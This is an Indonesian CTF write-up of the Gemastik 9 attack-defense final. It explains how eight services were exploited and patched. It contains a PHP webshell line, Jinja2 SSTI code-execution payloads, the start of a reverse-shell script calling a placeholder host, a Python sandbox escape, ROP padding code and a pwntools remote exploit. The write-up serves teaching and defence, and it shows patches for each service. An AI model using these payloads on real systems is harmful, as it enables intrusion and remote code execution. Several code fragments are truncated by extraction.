Professional Documents
Culture Documents
Pada Final Keamanan Jaringan dan Sistem Informasi Gemastik 9 terdapat sejumlah service
yang harus diserang dan di-patch oleh peserta. Dari 11 service yang disiapkan, hanya 8
yang diaktifkan secara bertahap menyesuaikan dengan progress pergerakan skor peserta.
Berikut adalah pembahasan dari ke-8 service yang terdiri dari 3 Web Application (A, B, C)
dan 5 Network Service (F, G, H, J, K).
Web Application
Aplikasi web ini dibuat dengan Laravel 5.3 (PHP). Terdapat beberapa fitur seperti Register,
Login, Change Profile, dan Buy Zero Day. Pada fitur Change Profile, terdapat fasilitas untuk
mengunggah Profile Picture yang hanya menerima berkas gambar (jpeg, png, dan bmp).
Aplikasi web yang dibuat dengan PHP sangat rentan dengan celah Unrestricted File Upload
karena apabila attacker berhasil mengunggah berkas PHP ke dalam direktori yang bisa
diakses melalui URL dan berkas tersebut bisa dieksekusi oleh server, maka attacker dapat
melakukan Remote Code/Shell Execution.
Fasilitas pengunggahan Profile Picture di aplikasi web ini dijaga dengan built-in function
validate() milik Laravel. Kita tidak dapat mengunggah berkas PHP begitu saja ke dalam
server. Kita dapat mencoba untuk melakukan append kode PHP ke berkas jpeg/bmp/png
dan menyimpannya dengan ekstensi php. Jika dicoba untuk diunggah, aplikasi web akan
menerima berkas tersebut dan kita dapat mengaksesnya dengan melihat lokasi dari gambar
Profile Picture. Dari sini, Kita dapat membuat PHP Webshell seperti <?php
system($_GET['cmd']); ?> dan melakukan RCE untuk mengeksplorasi server serta
mendapatkan flag.
Setelah berhasil melakukan penyerangan, kita harus mencari bagian kode yang
bermasalah. Bagian kode yang bermasalah berada di fungsi updateAvatar() pada
direktori app/Http/Controllers/AccountController.php. Berikut adalah kodenya:
md5(Auth::user()->fullname);
$hash =
$path = public_path() . '/avatar/' . $hash;
if (!File::exists($path)) {
File::makeDirectory($path, $mode = 0777, true, true);
}
Terlihat bahwa fungsi validate() yang digunakan hanya melakukan validasi terhadap
MIME pada berkas sehingga apabila berkas menggunakan ekstensi PHP tetapi mempunyai
Magic Bytes dan struktur berkas jpg, bmp, dan png maka validasinya tetap memperbolehkan
pengunggahan. Salah satu solusi patch yang diharapkan adalah dengan memeriksa
ekstensi dari berkas dan hanya memperbolehkan jpg, jpeg, bmp, dan png (case-insensitive).
B. AlienBox
Jeopardy Point: 50 | Attack Point: 2
Aplikasi web berbentuk Cloud Storage ini dibuat dengan Flask (Python). Pengguna dapat
mengunggah berkas, memberi nama, mendapatkan URL, dan mengunduh berkas yang
telah diunggah. Pada saat kompetisi, source code diberikan. Terlihat bahwa hanya berkas
dengan ekstensi tertentu saja yang dapat diunggah. Celahnya sebenarnya ada pada bagian
@app.route('/f/<id>'). Berikut adalah kodenya:
@app.route('/f/<id>')
def uploaded_file(id):
path = os.path.join(config['UPLOAD_FOLDER'], id)
with open("%s/%s.conf" % (path,id), 'r') as f:
item = f.read().split('\n')
file = item[0]
name = item[1]
if (name == ""):
name = "Untitled"
head = "{% extends 'shell.html' %}{% block body %}<h
class='title'>AlienBox</h1>"
info = '''<p>File: %s (%s)</p>
<p>Link: <a href='/%s''>%s</a></p>
<p>Download: <a href='/%s/%s''>Click here</a></p>'''
% (name, file, path, path, path, file)
foot = "{% endblock %}"
template = '%s%s%s' % (head, info, foot)
return render_template_string(template, page=config["SITE_DATA"])
Dengan SSTI, Kita dapat melakukan Cross-Site Scripting (XSS) pada aplikasi web. Namun,
karena Flask secara default menggunakan Jinja2 sebagai Template Engine, kita juga dapat
mengeksplorasi berbagai fitur pada Jinja2 yang pada akhirnya dapat mengantarkan Kita
untuk melakukan Remote Code Execution.
Ada berbagai cara untuk mengeksplotasi Jinja2 pada kasus ini. Salah satunya adalah
dengan mengunggah kode Python berbahaya yang disimpan dengan ekstensi yang
diperbolehkan (misalnya .docx) untuk kemudian dijalankan dengan menggunakan SSTI.
Berkas yang diunggah akan tersimpan pada suatu direktori yang dapat Kita lihat melalui
URL hasil pengunggahan.
SSTI yang dapat digunakan untuk menjalankan kode Python yang telah tersimpan di server
pada Jinja2 adalah dengan memanfaatkan config.from_pyfile. Misalkan, apabila kode
Python yang diunggah tersimpan di f/3a2c85ed174f6924289f0d3fd6b211cd/test.docx
maka injection yang dapat digunakan adalah
{{ config.from_pyfile('f/3a2c85ed174f6924289f0d3fd6b211cd/test.docx') }}
Isi dari payload kode Python yang dijalankan dapat bermacam-macam, misalnya kode untuk
melakakukan Reverse TCP Shell seperti di bawah ini:
import socket,subprocess,os
IP = IP_ANDA
PORT = PORT_ANDA
Solusi lain adalah dengan menggunakan beberapa trik untuk melakukan RCE ataupun
pemanggilan fungsi eval pada Python dengan menjalajahi objek global yang bisa diakses di
dalam template context di dalam Sandbox milik Jinja2.
*angka 2 dan 40 adalah indeks dan bisa berbeda sesuai versi Python
4. Memanggil RUNCMD dengan parameter berupa Shell command, misalnya 'ls -al /'.
{{ config['RUNCMD']('ls -al /',shell=True) }}
5. Dari sini, RCE sudah bisa didapatkan dan peserta dapat mengeksplorasi Server
serta mendapatkan flag.
Salah satu solusi patch yang diharapkan adalah melakukan filter terhadap variabel name
ataupun mengubah alur kode agar template tidak diproses secara mentah di kode Python
melainkan dipisah sehingga variabel name tidak dimasukkan ke t emplate secara langsung.
Aplikasi web ini adalah SPA (Single Page Application) yang menggunakan Angular.js
sebagai front-end. Aplikasi ini akan melakukan request ke API untuk melakukan berbagai
aktivitas seperti Register dan Login. Ketika pengguna sudah berhasil login, request terhadap
beberapa API dilakukan dengan menggunakan otentikasi melalui Authorization Header yang
berisi Bearer Token (https://tools.ietf.org/html/rfc6750).
Jika kita melihat JavaScript yang digunakan, Kita akan melihat berbagai alamat API (yang
terpisah) yang akan di-request secara asynchronous. Kita juga bisa menggunakan tool
seperti Postman atau Burp Suite untuk melihat berbagai request dan response yang terjadi.
Alternatif lainnya, kita bisa masuk ke dalam Dashboard dan mencoba untuk menghapus
class ng-hide (yang didefinisikan oleh Angular) pada setiap elemen yang mempunyai class
tersebut sehingga front-end yang seharusnya dilihat Admin dapat dilihat oleh kita. Jalankan
JavaScript ini di console pada developer tool Browser kita setelah masuk ke Dashboard:
Kita akan melihat beberapa menu Admin dan dapat melihat berbagai request yang dicoba
untuk dilakukan namun hampir semuanya akan mendapatkan response 500 Internal Server
Error karena Bearer Token kita bukanlah untuk Admin.
Namun, ada satu request yang dapat dilakukan walaupun menggunakan Bearer Token
pengguna biasa, yaitu GET /api/users/list. Dari situ, kita dapat mendapatkan informasi
mengenai setiap pengguna berupa id, name, dan email dalam bentuk JSON. Salah satu info
pengguna yang akan kita dapatkan adalah
{
"id": 59193842,
"name": "admin",
"email": "admin@ebilcorp1337.com"
}
Hal lain yang menarik adalah request yang dilakukan ketika mengganti Profile, yaitu PUT
/api/users/me. Contoh request body berbentuk JSON yang dilakukan adalah:
{"errors":false,"data":{"id":45107842,"name":"coba","email":"coba@coba.
com","avatar":null,"email_verified":"1","email_verification_code":"mEv8
E6wCplFmCn2rL7WsXqDo59f2Svr5NIpM3dlv","created_at":"2016-10-29
10:04:08","updated_at":"2016-10-29
10:04:08","current_password":"12345678","new_password":"abcdefgh","new_
password_confirmation":"abcdefgh"}}
Terdapat vulnerability berupa Insecure Direct Object References. Jika kita mencoba untuk
melakukan replay terhadap request tersebut (menggunakan tool seperti Burp Suite) dan
mengganti id dengan id admin yang telah didapatkan tadi (59193842) maka kita dapat
mengganti password dari Admin.
Setelah masuk sebagai Admin, kita mempunyai Bearer Token Admin dan dapat melakukan
request terhadap /api/users/key untuk mendapatkan flag. Untuk mempermudah peserta,
request ini ditambahkan pada halaman #/user-list di Dashboard milik Admin sehingga
peserta yang telah masuk sebagai Admin dapat langsung mendapatkan flag yang kemudian
dapat digunakan untuk melakukan dekripsi terhadap Private Key untuk SSH ke dalam
server.
Di dalam server, backend yang digunakan API dibuat dengan Laravel (PHP). Salah satu
solusi patch yang diharapkan adalah dengan memperbaiki fungsi putMe() pada berkas
app/Http/Controllers/UserController.php agar melakukan pemrosesan database
pada id yang terkait dengan user yang terontetikasi sesuai dengan Bearer Token yang
digunakan.
F. Government Backdoor
Jeopardy Point: 50 | Attack Point: 2
Sebuah layanan jaringan berjalan di atas TCP Port tertentu. Layanan ini adalah layanan
sederhana yang meminta Username dan Password. Diketahui bahwa layanan ini
mempunyai backdoor tersembunyi. Peserta hanya diberikan berkas binary dan harus
menemukan serta memanfaatkan backdoor yang ada untuk masuk ke dalam sistem.
Hasil disassembly fungsi main() dari binary tersebut menjadi Pseudo-C menggunakan IDA
adalah seperti berikut:
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // ST00_8@1
FILE *v4; // ST00_8@1
int result; // eax@7
__int64 v6; // rcx@7
char buf; // [sp+Fh] [bp-411h]@1
char s; // [sp+10h] [bp-410h]@1
char s1; // [sp+110h] [bp-310h]@1
char ptr; // [sp+210h] [bp-210h]@1
char s2; // [sp+310h] [bp-110h]@1
__int64 v12; // [sp+418h] [bp-8h]@1
Diketahui bahwa &s adalah reference terhadap alamat data yang berisi string masukan
pertama (Username). Jika strlen(&s) lebih dari 0x64 (100) maka fungsi
__libc_csu_filter((__int64)&s, 100) akan dipanggil. Walaupun terlihat seperti fungsi
yang berkaitan dengan libc, sebenarnya fungsi ini adalah backdoor. Berikut adalah
_libc_csu_filter pada b
Pseudo-C yang dihasilkan IDA untuk fungsi _ inary.
Terlihat bahwa ada pemanggilan system(command) yang berarti string yang berada pada
command akan dieksekusi oleh sistem. Dari fungsi looping yang ada, terlihat bahwa command
diisi dengan data yang ada pada (i + a1) di mana a1 adalah parameter pertama fungsi
dan i menurun dari a2 (parameter kedua) hingga 34 atau hingga ketika data pada alamat
(i + a1) adalah 63. Data pada alamat (a1 + 30) juga harus 63. Diketahui bahwa 63
adalah nilai ASCII dari '?'.
Dari algoritma yang digunakan, didapatkan bahwa untuk mengaktifkan backdoor pada
layanan, kita harus mengirimkan username dengan format berikut:
reverse([shell command][?][karakter sembarang hingga panjang Username menjadi
70][?][karakter sembarang hingga panjang Username menjadi 101])
Payload di atas adalah untuk membuat string yang akan menjalankan echo 'test' dengan
menggunakan backdoor.
Hasil percobaan untuk login menggunakan username berupa backdoor payload adalah
sebagai berikut.
Terlihat bahwa RCE sudah didapatkan melalui backdoor. Untuk selanjutnya, kita dapat
mengeksplorasi server dan mendapatkan flag.
Solusi patch yang diharapkan adalah mengubah bytes dari binary secara langsung agar
backdoor tidak berjalan. Salah satu caranya adalah mengubah instruksi mesin untuk
memanggil system() menjadi nop (0x90).
Terlihat bahwa instruksi untuk melakukan 'call 400720 <system@plt>' berada pada
alamat 0x40094c dan memiliki bytes 'e8 cf fd ff ff'. Kita dapat mengganti bytes pada
alamat tersebut menggunakan hexedit ataupun program Disassembler seperti IDA sehingga
instruksi pada 0x40094c menjadi '90 90 90 90 90'.
G. Code Sandbox
Jeopardy Point: 50 | Attack Point: 2
#!/usr/bin/python
import sys
def show_message():
message = open("message.txt", 'r').read()
print message
print "========== Python Sandbox 1.0 ==========="
sys.stdout.flush()
def filter(s):
blacklisttxt = open("blacklist.txt", 'r').read()
blacklist = blacklisttxt.split('\n')
for item in blacklist:
if (item in s):
s = "invalid"
break
return s
while (True):
print ">>> ",
sys.stdout.flush()
s = raw_input()
s = filter(s)
try:
exec(s)
except:
print "Invalid Code"
sys.stdout.flush()
Intinya, kita dapat melakukan eksekusi kode Python apapun selama tidak mengandung
substring yang masuk dalam blacklist. Tujuan utama kita adalah untuk melakukan RCE
pada server.
Ada banyak cara yang dapat dilakukan. Salah satunya adalah dengan memanfaatkan objek
__builtins__ milik Python. Kita dapat memanggil fungsi eval dengan
__builtins__.eval() namun hal itu tidak dapat kita lakukan karena string akan
mengandung substring eval. Alternatif yang bisa digunakan adalah kita dapat menggunakan
__builtins__.__dict__['eval']() dan 'eval' dapat kita simpan dulu di sebuah variabel
string sebelumnya. Parameter eval yang dapat kita gunakan untuk RCE adalah perintah
untuk import module os dan kemudian memanggil os.system(command). Misal, untuk
menjalankan 'echo test' pada server target kita akan bisa memanggil
__builtins__.__dict__['eval']("__import__('os').system('echo test')").
Berikut adalah interaksi yang dapat dilakukan untuk RCE tanpa menggunakan input yang
mengandung substring yang ada pada blacklist.
Selanjutnya, kita dapat mengeksplorasi server dengan RCE dan mendapatkan f lag.
Salah satu solusi patch yang diharapkan adalah dengan memperketat blacklist atau
mengubah alur program sehingga menjadi pengecekan whitelist sesuai dengan
requirements yang ada pada soal.
H. The Matrix Glitch
Jeopardy Point: 60 | Attack Point: 2
Pada soal ini, kita harus melakukan reverse engineering untuk dapat menemukan password
yang tepat untuk masuk ke dalam 'The Matrix'. Binary untuk melakukan pengecekan
password berjalan di atas jaringan.
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi@1
int result; // eax@25
__int64 v5; // rsi@25
int i; // [sp+Ch] [bp-C4h]@1
signed int j; // [sp+Ch] [bp-C4h]@4
signed int l; // [sp+Ch] [bp-C4h]@10
signed int n; // [sp+Ch] [bp-C4h]@16
signed int k; // [sp+10h] [bp-C0h]@5
signed int m; // [sp+10h] [bp-C0h]@11
signed int ii; // [sp+10h] [bp-C0h]@17
int v13; // [sp+14h] [bp-BCh]@4
int v14[16]; // [sp+20h] [bp-B0h]@2
int v15[19]; // [sp+60h] [bp-70h]@6
char buf; // [sp+AFh] [bp-21h]@1
char s[24]; // [sp+B0h] [bp-20h]@1
__int64 v18; // [sp+C8h] [bp-8h]@1
Terlihat di bagian bawah bahwa jika nilai v3 adalah 16 maka binary akan menjalankan
/bin/sh untuk memulai interactive shell.
Perhatikan bahwa ada banyak pengaksesan memori pada data v5 dalam bentuk v5[4LL *
a + b]. Hal ini sebenarnya dapat direpresentasikan juga sebagai v5[a][b] atau sebuah
matriks di mana elemen dari matriks memiliki tipe data integer 32 bit (4 bytes). Dari operasi
yang ada, matriks yang diproses memiliki ukuran 4x4.
Pada awalnya, password yang dimasukkan user akan masuk ke s. Selanjutnya karakter 0
sampai 15 dari password akan diproses dan dimasukkan ke dalam matriks. Perhatikan
looping pertama.
Kode di dalam looping dapat disederhanakan menjadi v14[(_BYTE)i & 3 + 4LL * (i / 4)] =
bit(s[i], i). Karena operasi AND 'i & 3' sama dengan operasi modulo 'i % 4' maka kode dapat
disederhanakan lagi menjadi v14[i % 4 + 4LL * (i / 4) = bit(s[i], i) atau dengan representasi
matriks adalah v14[i / 4][i % 4] = bit(s[i], i). Intinya, looping dilakukan sedemikian sehingga
indeks matrix yang ditunjuk adalah dari atas kiri lalu bergerak ke kanan hingga kanan
bawah.
Setelah mengisi matriks v14 dengan hasil dari fungsi bit pada tiap karakter password,
transpose matriks v14 dimasukkan ke v15 melalui potongan kode berikut.
Matriks v15 dicocokkan dengan matriks n. Setiap elemen yang benar akan membuat nilai
v13 bertambah.
Kita harus mengetahui nilai matriks n dan mm yang terdapat pada segment .data terlebih
dahulu untuk melakukan reverse engineering. Hal ini dapat kita lakukan dengan
menggunakan debugger seperti yang ada pada IDA atau GDB. Setelah nilai n dan mm
diketahui, kita dapat merangkai algoritma untuk membalik semua operasi yang dilakukan.
Berikut adalah kode Python untuk melakukan crack terhadap password yang ada.
k = 0
print passcode
Didapatkan bahwa password yang benar adalah 'R0jkiNgCxJTr4sd'. Alternatif lain untuk
melakukan password cracking ini adalah dengan menyalin kode bit() apa adanya dan
melakukan brute force untuk tiap karakter dan posisinya. Password dapat digunakan untuk
masuk ke dalam shell.
Karena pada saat kompetisi peserta hanya diberikan binary file, maka solusi patch yang
diharapkan adalah dengan mengubah password dengan mengganti nilai dari matriks n
maupun mm pada segmen .data dengan menggunakan program semacam hexedit.
Surveillance API
Jeopardy Point: 90 | Attack Point: 2
Terdapat sebuah layanan jaringan yang menerima request dengan format tertentu. Berikut
inary yang diberikan.
adalah pengecekan tipe dan keamanan dari b
Binary di-compile dengan statically-linked dan tidak ada Canary. Sebenarnya hal ini cukup
straightforward bahwa peserta diharapkan untuk dapat melakukan Buffer Overflow hingga
berhasil mengontrol register Instruction Pointer dan melakukan Return Oriented
Programming (ROP) untuk memanggil syscall execve("/bin/sh") dengan merangkai
instruksi-instruksi mesin yang sudah ada pada binary (karena statically-linked). Hanya saja,
peserta harus menganalisis binary terlebih untuk menemukan cara agar overflow dapat
terjadi.
Melalui disassembly, dapat terlihat bahwa string masukan dibatasi panjangnya agar tidak
melebihi 0x800 (2048). Selanjutnya, string akan diproses dengan fungsi yang bernama
base64_decode. Walaupun string masukan dibatasi panjangnya, tetapi apabila hasil dari
base64_decode dimasukkan ke buffer yang ukurannya kecil, maka overflow dapat terjadi.
Terlihat bahwa string Base64 yang panjang akan membuat program mengalami
Segmentation Fault. Selanjutnya kita dapat melakukan fuzzing secara manual untuk
mendapatkan padding yang tepat untuk mengontrol Instruction Pointer. Di sini, percobaan
dilakukan dengan menggunakan GDB-PEDA (https://github.com/longld/peda) untuk
mempermudah inspeksi register.
Terlihat bahwa Base64 dari 'a' yang berjumlah 174 buah akan meng-overwrite register RIP
menjadi 0x616161616161. Ini berarti kita harus memasukkan Base64 dari 'a' sebanyak 168
buah lalu diikuti dengan bytes berupa alamat instruksi mesin untuk melakukan eksploitasi.
Kita dapat mencari berbagai tutorial di internet untuk mempelajari lebih dalam mengenai
Buffer Overflow dan Return Oriented Programming.
Salah satu cara termudah untuk menyusun ROP secara cepat dan otomatis adalah dengan
menggunakan ROPgadget (https://github.com/JonathanSalwan/ROPgadget). Dengan salah
satu fitur yang ada di ROPgadget, kita dapat secara otomatis mendapatkan urutan instruksi
mesin yang harus kita panggil untuk memanggil syscall execve dengan parameter
/bin/sh.
Selanjutnya kita bisa mengkombinasikan ropchain yang dihasilkan dengan padding yang
sudah kita dapatkan sebelumnya.
#!/usr/bin/env python2
import base64
from struct import pack
p = 'a'*168
print base64.b64encode(p)
Masukkan Base64 yang dihasilkan ke dalam layanan jaringan untuk mendapatkan akses
shell.
Di dalam server sudah disediakan kode C dari layanan jaringan. Solusi patch yang
diharapkan adalah peserta diharuskan untuk mencari library Base64 yang dipakai dan
kemudian meng-compile-nya dengan gcc. Secara default, hasil kompilasi gcc sudah
ditambahkan Canary. Namun jika ingin lebih yakin, kita dapat menggunakan parameter
-fstack-protector-all ketika melakukan kompilasi.
String in The Wires
Jeopardy Point: 120 | Attack Point: 3
Terdapat sebuah layanan jaringan yang memiliki beberapa fitur terkait dengan penyimpanan
string.
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
Jika kita lihat hasil disassembly-nya, fungsi main hanya memanggil fungsi work. Berikut
adalah hasil disassembly menjadi Pseudo-C yang dilakukan IDA pada fungsi w
ork.
__int64 work()
{
char v1; // [sp+6h] [bp-6AAh]@23
char v2; // [sp+7h] [bp-6A9h]@23
unsigned int v3; // [sp+8h] [bp-6A8h]@8
unsigned int v4; // [sp+Ch] [bp-6A4h]@1
unsigned int i; // [sp+10h] [bp-6A0h]@18
int j; // [sp+14h] [bp-69Ch]@23
FILE *stream; // [sp+18h] [bp-698h]@30
char v8[1600]; // [sp+20h] [bp-690h]@6
char ptr; // [sp+660h] [bp-50h]@30
char s1; // [sp+680h] [bp-30h]@30
__int64 v11; // [sp+6A8h] [bp-8h]@1
__int64 savedregs; // [sp+6B0h] [bp+0h]@24
Selain itu ada juga pemanggilan fungsi sys di bagian bawah jika pengecekan Passcode dan
isi access_code.db sama. Berikut adalah isi fungsi sys.
int sys()
{
return system("/bin/sh");
}
Terlihat bahwa fungsi sys akan langsung mengeksekusi /bin/sh untuk memulai interactive
shell. Desain soal awal sebenarnya tidak menyertakan fungsi ini. Namun, jika fungsi sys
tidak ada maka eksploitasi yang harus dilakukan peserta adalah Return-to-Libc Attack
seperti yang biasa dilakukan pada beberapa eksploitasi Kernel. Agar tidak terlalu memakan
waktu lama, maka fungsi ini ditambah.
3. Dapat terlihat bahwa nilai v4 selalu ditambah dengan 1 tiap pengisian string. Ini
berarti maksudnya program menyimpan string di suatu array of string atau array dua
dimensi dari char (karena 64 akan dikali dengan v4 seperti pada potongan kode di
atas). Batas dari v4 adalah 25.
4. Selama string yang kita masukkan tidak mengandung null-byte, string dapat
tersimpan melebihi batas ruang yang sebenarnya dialokasikan. Namun, jika sampai
meng-overwrite Canary yang ada, s tack smashing akan terdeteksi.
5. Terdapat fitur untuk melakukan replace char. Pengguna akan memilih indeks dari
string. Lalu program akan looping mulai dari alamat awal string sampai 64 bytes
berikutnya untuk mengganti karakter yang ingin diganti menjadi karakter tujuan.
6. Terdapat fitur untuk memanggil fungsi sys. Isi dari berkas access_code.db akan
dimasukkan ke ptr. Alamat ptr sendiri adalah tepat setelah alokasi untuk v8. Kita
dapat menginspeksinya dengan GDB agar lebih pasti.
Tujuan kita adalah berhasil memanggil fungsi sys karena fungsi tersebut memberikan kita
akses ke interactive shell.
Ada beberapa sifat string yang diproses pada program yang dihasilkan C yang harus kita
perhatikan.
1. Ketika program ingin menyimpan string, maka program akan memulai dari alamat
awal string yang ditentukan, lalu mengisi b
yte per byte hingga habis.
2. Ketika program ingin membaca string, maka program akan memulai dari alamat awal
string yang ditentukan, lalu membaca byte per byte hingga ditemukan null-byte
(0x00).
3. Walaupun ketika dibaca dan disimpan alamat dari string sudah dialokasikan, pada
dasarnya memori ini bersifat contiguous. Ada Canary di ujung alokasi memori pada
suatu fungsi untuk mencegah overflow.
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
1
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
1
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
3
String Number: 1
def
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
4
0:abc
1:def
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
1
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
1
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
3
String Number: 2
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
4
0:abc
1:def
2:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
3:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
1 - Add String
2 - Change String
3 - View One String
4 - View All String
5 - Replace Char
6 - Shell
7 - Exit
Terlihat bahwa untuk string dengan indeks 2, walaupun yang dimasukkan adalah 64 buah
'a', tetapi yang terdeteksi pada program adalah 64 buah 'a' beserta 64 buah 'b'. Hal ini
dikarenakan ketika program ingin membaca string dengan indeks 2, string dengan indeks 3
ikut terbaca karena tidak ada null-byte di antara kedua string itu.
Hal yang langsung terpikirkan mungkin adalah melakukan leak terhadap isi dari
access_code.db yang disimpan pada data ptr karena alamat ptr berada setelah string
dengan indeks 24. Caranya adalah dengan masuk ke menu nomor 6 (Shell) terlebih dahulu
agar program mengisi memori pada alamat ptr dengan isi access_code.db lalu mencoba
untuk me-leak-nya dengan mengisi string pada indeks 24 hingga menyentuh alamat ptr.
Sayangnya, berkas access_code.db ini tidak ada di server sehingga ketika pengguna ingin
menggunakan menu nomor 6, error terjadi dan program akan t erminate.
Cara lain adalah dengan me-leak Canary yang ada. Karena Canary mengandung 0x00 di
awal, maka kita bisa mengakalinya dengan me-replace 0x00 pada Canary dengan sesuatu
yang lain dengan memanfaatkan fitur replace char. Lokasi dari Canary sendiri dapat kita
periksa dengan menggunakan GDB. Setelah mendapatkan Canary yang ada, kita bisa
melakukan Buffer Overflow seperti biasa dengan mengikutsertakan Canary yang didapatkan
lalu mengontrol register RIP agar program melanjutkan alur ke fungsi sys setelah dari fungsi
work.
Berikut adalah contoh remote exploit (menggunakan pwntools) yang dapat digunakan.
IP = IP_ANDA
PORT = PORT_ANDA
r.recvuntil("7 - Exit\n")
r.sendline("5")
r.recvuntil("String Number: ")
r.sendline("26")
r.recvuntil("Insert Char: ")
r.sendline("\x00")
r.recvuntil("Replace to: ")
r.sendline("A")
r.recvuntil("Result: ")
a = r.recv()
a[9:]
canary =
canary = canary[:7]
canary = "\x00" + canary
r.sendline("5")
r.recv()
r.sendline("26")
r.recv()
r.sendline("A")
r.recv()
r.sendline("\x00")
r.recv()
r.sendline("1")
r.sendline(exploit)
r.recvuntil("7 - Exit\n")
r.sendline("7")
Kode C dari layanan akan berada di server. Solusi patch yang diharapkan adalah dengan
memperbaiki kode C yang ada agar hal-hal di atas tidak dapat terjadi (misalnya, dengan
memperbaiki cara pembacaan string). Dapat kita lihat bahwa kita jangan selalu bergantung
pada stack protector yang dihasilkan c ompiler.